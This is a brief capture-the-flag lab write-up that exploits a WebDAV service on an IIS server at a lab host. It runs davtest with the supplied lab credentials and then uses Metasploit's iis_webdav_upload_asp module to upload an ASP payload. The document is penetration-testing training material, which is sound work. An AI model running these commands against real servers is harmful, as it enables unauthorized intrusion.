# Windows: IIS Server: WebDav Metasploit

## Lab Environment

In this lab environment, you will be provided with GUI access to a Kali machine. The target machine will be accessible at **demo.ine.local**.

**Objective:** Exploit the WebDAV service and retrieve the flag!

**The following username and password may be used to access the service:**

|          |                  |
| -------- | ---------------- |
| Username | Password         |
| bob      | password\_123321 |

## Tools

* Metasploit
* DAVTest
* Cadaver

## Writeup

```sh
davtest -url http://demo.ine.local/webdav -auth bob:password_123321
```

<figure><img src="https://1937981690-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FzuuWuDn9s4dQ1J0kb7tE%2Fuploads%2FbJJMxkf2r7ErpISjO2oB%2Fimage.png?alt=media&#x26;token=f9638942-67bf-449a-904b-c6223c854259" alt=""><figcaption></figcaption></figure>

```sh
msfconsole
use exploit/windows/iis/iis_webdav_upload_asp 
set rhost demo.ine.local
set HttpUsername bob
set HttpPassword password_123321
set PATH /webdav/metasploit%RAND%.asp
```

<figure><img src="https://1937981690-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FzuuWuDn9s4dQ1J0kb7tE%2Fuploads%2Fps1M4HPu1eAGvgRvItsY%2Fimage.png?alt=media&#x26;token=67b9da95-afe3-4ddd-acaa-cb64c2133b1b" alt=""><figcaption></figcaption></figure>
